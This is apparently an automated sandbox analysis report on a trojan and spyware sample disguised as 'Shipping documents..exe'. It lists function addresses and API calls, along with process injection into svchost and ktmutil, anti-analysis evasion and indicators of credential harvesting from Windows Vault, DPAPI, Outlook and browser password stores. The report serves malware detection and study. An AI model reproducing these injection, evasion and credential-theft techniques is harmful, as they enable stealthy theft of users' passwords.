Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341FF09	6_2_0341FF09
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03361F92	6_2_03361F92
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03323FD2	6_2_03323FD2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03323FD5	6_2_03323FD5
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341FFB1	6_2_0341FFB1
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03369EB0	6_2_03369EB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03411D5A	6_2_03411D5A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03417D73	6_2_03417D73
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03363D40	6_2_03363D40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0337FDC0	6_2_0337FDC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033D9C32	6_2_033D9C32
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341FCF2	6_2_0341FCF2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02991FB0	6_2_02991FB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0298CEF0	6_2_0298CEF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0298CEE7	6_2_0298CEE7
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0298B190	6_2_0298B190
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0298B188	6_2_0298B188
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0298D110	6_2_0298D110
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02995610	6_2_02995610
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_029ABBC0	6_2_029ABBC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02993850	6_2_02993850
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_031CE344	6_2_031CE344
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_031CE463	6_2_031CE463
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_031CCA9B	6_2_031CCA9B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_031CE805	6_2_031CE805
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_031CD8C8	6_2_031CD8C8

Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 033CEA12 appears 86 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 03395130 appears 58 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 033DF290 appears 106 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 0334B970 appears 280 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 033A7E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03787E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03775130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0372B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037AEA12 appears 86 times
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: String function: 00445AE0 appears 65 times

Source: Shipping documents..exe, 00000000.00000003.2120440183.00000000048CD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Shipping documents..exe
Source: Shipping documents..exe, 00000000.00000003.2119035605.0000000004723000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Shipping documents..exe

Source: Shipping documents..exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@15/12

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464EAE

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0047839D

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\Shipping documents..exe

File created: C:\Users\user\AppData\Local\Temp\bothsidedness

Source: C:\Users\user\Desktop\Shipping documents..exe

Command line argument: #v

0_2_0040D6B0

Source: Shipping documents..exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Shipping documents..exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Shipping documents..exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: ktmutil.exe, 00000006.00000002.4559793375.0000000002E71000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2630854960.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2631010094.0000000002E43000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4559793375.0000000002E43000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4559793375.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Shipping documents..exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\Shipping documents..exe

File read: C:\Users\user\Desktop\Shipping documents..exe

Source: unknown	Process created: C:\Users\user\Desktop\Shipping documents..exe "C:\Users\user\Desktop\Shipping documents..exe"
Source: C:\Users\user\Desktop\Shipping documents..exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Shipping documents..exe"
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Shipping documents..exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Shipping documents..exe"	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents..exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\ktmutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: Shipping documents..exe

Static file information: File size 1322107 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: FuFneNIzDsF.exe, 00000004.00000002.4559487578.00000000003CE000.00000002.00000001.01000000.00000005.sdmp, FuFneNIzDsF.exe, 00000008.00000000.2507028325.00000000003CE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Shipping documents..exe, 00000000.00000003.2122204716.0000000004600000.00000004.00001000.00020000.00000000.sdmp, Shipping documents..exe, 00000000.00000003.2116752681.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433300541.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339806814.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433300541.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337559785.0000000003300000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569169895.00000000034BE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569169895.0000000003320000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2443745959.0000000003178000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2441691233.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: srdelayed.pdbGCTL source: FuFneNIzDsF.exe, 00000004.00000003.2377105462.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Shipping documents..exe, 00000000.00000003.2122204716.0000000004600000.00000004.00001000.00020000.00000000.sdmp, Shipping documents..exe, 00000000.00000003.2116752681.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2433300541.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339806814.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433300541.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337559785.0000000003300000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 00000006.00000002.4569169895.00000000034BE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569169895.0000000003320000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2443745959.0000000003178000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2441691233.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdbGCTL source: svchost.exe, 00000002.00000002.2433159494.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433135384.0000000003000000.00000004.00000020.00020000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000003.2377390282.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdb source: svchost.exe, 00000002.00000002.2433159494.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433135384.0000000003000000.00000004.00000020.00020000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000003.2377390282.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: srdelayed.pdb source: FuFneNIzDsF.exe, 00000004.00000003.2377105462.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DC3000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569488926.000000000394C000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.000000000325C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.000000001566C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DC3000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569488926.000000000394C000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.000000000325C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.000000001566C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: Shipping documents..exe

Static PE information: real checksum: 0xa961f should be: 0x14c9b5

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00462463 push edi; ret	0_2_00462465
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00448A0E push esi; ret	0_2_00448A10
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416096 push eax; ret	2_2_004160E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004168B9 push 49A0F8CEh; ret	2_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004160BB push eax; ret	2_2_004160E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416970 push 49A0F8CEh; ret	2_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041692F push 49A0F8CEh; ret	2_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004049B6 push cs; iretd	2_2_004049BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004032E0 push eax; ret	2_2_004032E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00415A90 push ds; retf	2_2_00415A93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041938B push ecx; retf	2_2_004193EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411BB6 push ecx; retf	2_2_00411BB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004065E5 push cs; ret	2_2_004065F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404E33 push ds; iretd	2_2_00404E63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D6C1 push ebp; retf	2_2_0040D6CA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404E91 push ds; iretd	2_2_00404E63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0370225F pushad ; ret	2_2_037027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037027FA pushad ; ret	2_2_037027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD push ecx; mov dword ptr [esp], ecx	2_2_037309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0370283D push eax; iretd	2_2_03702858
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05305D59 push ecx; ret	4_2_05305D97
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_053145B0 push eax; ret	4_2_053145DE
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05314DAE push 49A0F8CEh; ret	4_2_05314E07
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0531458B push eax; ret	4_2_053145DE
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05305DE5 push ecx; ret	4_2_05305D97
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05305CDD push ecx; ret	4_2_05305D97
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05313F85 push ds; retf	4_2_05313F88
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05314E24 push 49A0F8CEh; ret	4_2_05314E07
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05314E65 push 49A0F8CEh; ret	4_2_05314E07
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05302EAB push cs; iretd	4_2_05302EAF

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_0047A330
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00434418

Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Shipping documents..exe	API/Special instruction interceptor: Address: 3EB5E9C
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0377096E rdtsc

2_2_0377096E

Source: C:\Windows\SysWOW64\ktmutil.exe	Window / User API: threadDelayed 1951			Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Window / User API: threadDelayed 8023			Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents..exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-87180

Source: C:\Users\user\Desktop\Shipping documents..exe	API coverage: 3.6 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\ktmutil.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\ktmutil.exe TID: 6036	Thread sleep count: 1951 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 6036	Thread sleep time: -3902000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 6036	Thread sleep count: 8023 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 6036	Thread sleep time: -16046000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe TID: 2752	Thread sleep time: -80000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe TID: 2752	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe TID: 2752	Thread sleep time: -58500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe TID: 2752	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe TID: 2752	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\ktmutil.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ktmutil.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
